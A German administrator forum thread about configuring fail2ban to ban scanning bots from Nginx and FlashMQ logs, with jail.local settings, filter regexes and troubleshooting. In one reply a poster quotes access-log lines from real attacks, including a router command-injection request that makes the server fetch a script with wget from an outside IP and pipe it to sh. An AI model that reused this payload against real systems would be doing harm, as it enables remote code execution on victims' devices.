avenga
Goto Top

Fail2ban Nginx Konfiguration

Hallo,
ich wollte gern fail2ban nutzen für meinen Nginx Webserver um die ganzen Bots zu bannen.

Nachdem ich fail2ban installiert habe, habe ich die jail.local erstellt mit folgendem Inhalt:

[DEFAULT]
ignoreself = true
bantime  = 2h
maxretry = 3

[nginx-bad-request]
enabled = true

[nginx-botsearch]
enabled = true

[nginx-http-auth]
enabled = true

[nginx-limit-req]
enabled = true

Wenn ich dann schaue was z.B. der Filter nginx-bad-request macht:
fail2ban-client status nginx-bad-request
Status for the jail: nginx-bad-request
|- Filter
|  |- Currently failed: 0
|  |- Total failed:     0
|  `- Journal matches:  _SYSTEMD_UNIT=nginx.service + _COMM=nginx
`- Actions
   |- Currently banned: 0
   |- Total banned:     0
   `- Banned IP list:
sehe ich, dass fail2ban das system journal durchsucht.

Das bringt natürlich nichts, da Nginx hier loggt: /var/log/nginx/access.log

Da ich bestimmt nicht der erste Mensch bin, der Nginx auf Ubuntu LTS 24.04 mit fail2ban betreiben will, stellt sich mir die Frage: Was soll ich hier ändern ?

Nginx ins Journal loggen lassen will ich ungern, wüsste auch nicht wie/wo ich das einstellen sollte.

Oder muss ich die ganzen Regeln unter /etc/fail2ban/filter.d/ händlisch ändern?
z.B.: nginx-http-auth.conf

# fail2ban filter configuration for nginx

[Definition]
mode = normal
mdre-auth = ^\s*\[error\] \d+#\d+: \*\d+ user "(?:[^"]+|.*?)":? (?:password mismatch|was not found in "[^\"]*"), client: <HOST>, server: \S*, request: "\S+ \S+ HTTP/\d+\.\d+", host: "\S+"(?:, referrer: "\S+")?\s*$ 
mdre-fallback = ^\s*\[crit\] \d+#\d+: \*\d+ SSL_do_handshake\(\) failed \(SSL: error:\S+(?: \S+){1,3} too (?:long|short)\)[^,]*, client: <HOST>

mdre-normal = %(mdre-auth)s
mdre-aggressive = %(mdre-auth)s
                  %(mdre-fallback)s

failregex = <mdre-<mode>>

ignoreregex = 

datepattern = {^LN-BEG}

journalmatch = _SYSTEMD_UNIT=nginx.service + _COMM=nginx

ich könnte bei den 4 Filtern für Nginx dort eintragen:
journalmatch =/var/log/nginx/access.log
ich bin mir aber nicht sicher ob das im Sinne des Erfinders ist.

MfG

Content-ID: 670659

Url: https://administrator.de/forum/fail2ban-nginx-konfiguration-670659.html

Ausgedruckt am: 22.02.2025 um 04:02 Uhr

Avenga
Lösung Avenga 12.01.2025, aktualisiert am 13.01.2025 um 08:26:46 Uhr
Goto Top
Nach langer Suche habe ich eine Lösung für mich gefunden.

Note: if systemd backend is chosen as the default but you enable a jail
for which logs are present only in its own log files, specify some other
backend for that jail (e.g. polling) and provide empty value for
journalmatch. See https://github.com/fail2ban/fail2ban/issues/959#issuecomment-74901200

Meine jail.local sieht nun so aus:
[DEFAULT]
bantime  = 2h
maxretry = 3

[nginx]
enabled = true
port = http,https
backend = polling
logpath = /var/log/nginx/access.log

Den Filter "nginx" habe ich aus einem YT Video, leicht modifiziert:
[Definition]
failregex = ^<HOST>.*"(GET|POST|PUT).*" (400|403|404).*$  
ignoreregex =
wichtig das Leerzeichen vor (400

Damit funktioniert das Bannen (sowohl Nginx als auch SSH).

Ich hatte auch die access.log und error.log von Nginx auf Syslog umgestellt, aber die vorhandenen Filter (siehe oben, erster Codeblock) haben nichts gemacht. Ich bin ehrlich gesagt auch kein Regex Experte.

Für weitere Hinweise bin ich trotzdem dankbar.

P.S. der Vollständigkeithalber: in der /etc/fail2ban/jail.d/defaults-debian.conf steht:
[DEFAULT]
banaction = nftables
banaction_allports = nftables[type=allports]
backend = systemd

[sshd]
enabled = true
Damit wird "systmd" als Standard definiert, ebenso nftables als Firewall und der SSH wird aktiviert. Diese Datei wird wohl als erstes geladen.
SSH hat auch sofort funktioniert.

P.S.2: Mit
nft list ruleset
und
fail2ban-client status nginx
sieht man was los ist.
bei mir in einer Nacht:
fail2ban-client status nginx
Status for the jail: nginx
|- Filter
|  |- Currently failed: 2
|  |- Total failed:     55
|  `- File list:        /var/log/nginx/access.log
`- Actions
   |- Currently banned: 0
   |- Total banned:     2
   `- Banned IP list:
auch interessant:
cat /var/log/fail2ban.log
aqui
aqui 13.01.2025 um 13:11:17 Uhr
Goto Top
um die ganzen Bots zu bannen.
Die bannt man aber immer indem man eine robots.txt Datei ins HTML Verzeichnis legt mit dem Inhalt
User-agent: *
Disallow: / 
Avenga
Avenga 13.01.2025 aktualisiert um 20:48:54 Uhr
Goto Top
damit bannt man wohl die gutartigen Suchmaschinen* und nicht die Bots/Hacker wie solche Strolche:
31.220.1.144 - - [13/Jan/2025:10:32:09 +0100] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+http%3A%2F%2F103.163.215.73%2Fmoo+-O-+|+sh%60) HTTP/1.1" 404 146 "-" "Go-http-client/1.1"  
64.62.156.53 - - [13/Jan/2025:10:40:41 +0100] "\x16\x03\x01\x00{\x01\x00\x00w\x03\x03I9q\xC5\x96o\xA1Th\xD5\xC0\x03\xC3VJE]\xD1\x01\x94\x12@#\x9A\xEA \xE8\xC0\x00\x5C\xB9\x89\x00\x00\x1A\xC0/\xC0+\xC0\x11\xC0\x07\xC0\x13\xC0\x09\xC0\x14\xC0" 400 150 "-" "-"  
205.210.31.109 - - [13/Jan/2025:01:59:22 +0100] "\x16\x03\x01\x00\xCA\x01\x00\x00\xC6\x03\x03\x1EAa\xC9\xD4\x92\xD0\xBF\xB1\xFA\xD8\xCE\xB1]9\x10\xAE\xA7e^\x02\xFA\xBF@\xAA.\xCC\xC2\xA4\xCF" 400 150 "-" "-"  
205.210.31.109 - - [13/Jan/2025:01:59:22 +0100] "\x16\x03\x01\x00\xEE\x01\x00\x00\xEA\x03\x03;>\xE0\x96\x13\xD4\x95R\xEA\xCAH<R\x7F\xE4\xC3\x18\xAA\xBC\xDA@\xF3\xEDq\xE3\x7Fv.7CV: \x08\xA0\xEE3hJW\xCC\xDEE\x18%V\x06\xCA\x91\x85\xE0VT\xDC\xBDK\xDE\x12\xF9\xFE\xFC\xAB\xF2\xFFF\x00&\xC0+\xC0/\xC0,\xC00\xCC\xA9\xCC\xA8\xC0\x09\xC0\x13\xC0" 400 150 "-" "-"  
die interessieren sich eher nicht für robots.txt

*Man spricht hier auch von „freundlichen“ Webcrawlern
aqui
aqui 14.01.2025 um 10:06:01 Uhr
Goto Top
damit bannt man wohl die gutartigen Suchmaschinen
Das ist richtig. face-wink
Avenga
Avenga 14.01.2025 um 20:51:54 Uhr
Goto Top
Für meinen Websocket FlashMQ (MQTT Live Werte) habe ich ebenfalls einen Filter erstellt:

/etc/fail2ban/filter.d/flashmq.conf
[Definition]
failregex = ^.*\[ERROR\].*Problem accepting SSL socket.*address='<HOST>'.*$  
            ^.*\[NOTICE\].*address='<HOST>'.*Invalid websocket start.*$  
ignoreregex =

Somit sieht meine /etc/fail2ban/jail.local
nun so aus:

[DEFAULT]
bantime  = 2h
maxretry = 3

[nginx]
enabled = true
port = http,https
backend = polling
logpath = /var/log/nginx/access.log

[flashmq]
enabled = true
port = 4443
backend = polling
logpath = /var/log/flashmq/flashmq.log

Tolles Programm
aqui
aqui 15.01.2025 aktualisiert um 10:55:25 Uhr
Goto Top
Interessant ist das es den Abschnitt "[nginx]" in der aktuellen jail.local gar nicht mehr als Konfig Option gibt sondern nur noch...
[nginx-http-auth]
# mode = normal
port    = http,https
logpath = %(nginx_error_log)s

[nginx-limit-req]
port    = http,https
logpath = %(nginx_error_log)s

[nginx-botsearch]
port     = http,https
logpath  = %(nginx_error_log)s

[nginx-bad-request]
port    = http,https
logpath = %(nginx_access_log)s 
Auch unter /filter.d gibt es keinen nur "nginx" Filter.
-rw-r--r-- 1 root root  474 Nov  9  2022 nginx-bad-request.conf
-rw-r--r-- 1 root root  740 Nov  9  2022 nginx-botsearch.conf
-rw-r--r-- 1 root root 1048 Nov  9  2022 nginx-http-auth.conf
-rw-r--r-- 1 root root 1513 Nov  9  2022 nginx-limit-req.conf 
Unter Debian (Bookworm) ist die banaction mit nftables in der jail.local so definiert:
[DEFAULT]
banaction =             nftables-multiport
banaction_allports =    nftables-allports
chain =                 input
backend = 		systemd

[recidive]
banaction =             nftables-allports
Fragt sich also wie man die Filter Tips von oben unter diesen Vorgaben dann korrekt integriert? 🤔
Avenga
Avenga 15.01.2025 aktualisiert um 16:52:45 Uhr
Goto Top
Interessant ist das es den Abschnitt "[nginx]" in der aktuellen jail.local gar nicht mehr als Konfig Option gibt sondern nur
Den gab es auch nie, einfach die Datei erstellen mit
sudo nano /etc/fail2ban/filter.d/flashmq.conf bzw. nginx.conf
und dann wie oben beschrieben in der jail.local aktivieren

Das Ergebnis sieht dann so aus:
clipboard-image

P.S. was mir noch aufgefallen ist, die ganzen bösen Bots/Hacker nutzen alle kein IPv6. Die IPv6 Banns war ich selber zum Testen.
Auf meiner Mail Kuh die seit über 10 Tagen im Netz hängt, und dessen WebUI ausschließlich über IPv6 erreichbar ist, war noch nicht ein einziger Login Versuch.
aqui
aqui 15.01.2025 aktualisiert um 18:04:36 Uhr
Goto Top
OK, mit deinem Ruleset mal aktiviert. Bis dato außer mir selbst noch nix ins Netz gegangen. Die Spannung steigt... face-wink
Das v6 Verhalten ist hier identisch. Die Bösewichte haben wohl (noch) wenig Ahnung von v6. face-wink

Nachtrag: Da stimmt aber etwas mit deinem Nginx Filterset nicht. Loggt man sich selber ohne Fehlversuche etc. im Webserver ein und wieder aus (SQL Anwendung) ist man nach dem Ausloggen sofort geblockt. 😡
Mit den Default im fail2ban enthaltenen nginx-http-auth Filter passiert dies nicht wenn man diesen ganz einfach in der jail.local mit enable=true aktiviert.
https://www.digitalocean.com/community/tutorials/how-to-protect-an-nginx ...
Avenga
Avenga 15.01.2025 aktualisiert um 19:21:40 Uhr
Goto Top
Du hast "meinen" Filter genommen ?
Was sagt denn deine access.log wenn du dich ein- und ausloggst ?
Dann erzeugt dies bei dir einen 400, 403 oder 404 Fehler ?!

Ich nutze kein SQL / Anmeldung, daher kann ich dazu nichts sagen.

Das ganze ist ja wunderbar zu debuggen.

Bei mir wurden heute 14 Hacker gebannt.

Wenn bei dir der nginx-http-auth Filter läuft, hast du den auf "polling" umgestellt oder schreibt dein Nginx ins Systemjournal ?
aqui
aqui 16.01.2025 aktualisiert um 10:39:35 Uhr
Goto Top
Bei Debian Bookworm laufen die Nginx Logs per Default in /var/log/nginx auf das ist es nicht. Das Access Log hatte tatsächlich ein PHP Warning geschmissen wegen einer Variablen. Das ist nun gefixt und jetzt kommen nur noch vereinzelt sowas wie
SSL_do_handshake() failed (SSL: error:0A00006C:SSL routines::bad key share) while SSL handshaking, client: 134.209.245.159
FastCGI sent in stderr: "PHP message: PHP Warning: Undefined array key "HTTP_USER_AGENT" in /var/www/html/index.php on line 57" while reading response header

von irgendwelchen bösen Buben. Nix Kritisches also wo der (dein) Filter fehlerhaft zuschlagen sollte.
Mit "dein" Filter war das
[Definition]
failregex = ^<HOST>.*"(GET|POST|PUT).*" (400|403|404).*$  
ignoreregex = 
gemeint, was man ja als neue Datei nginx.conf unter filter.d erstellen muss. Darauf verweist ja dann der
[nginx]
enabled = true
...

Abschnitt in der jail.local
Mit dem Ansatz versuche ich nochmal einen 2ten Anlauf...
Avenga
Avenga 16.01.2025 um 22:19:22 Uhr
Goto Top
ich frag mich ob es die tote Zeile
ignoreregex = 
braucht, habe bisher nicht experimentiert ob die vielleicht weg kann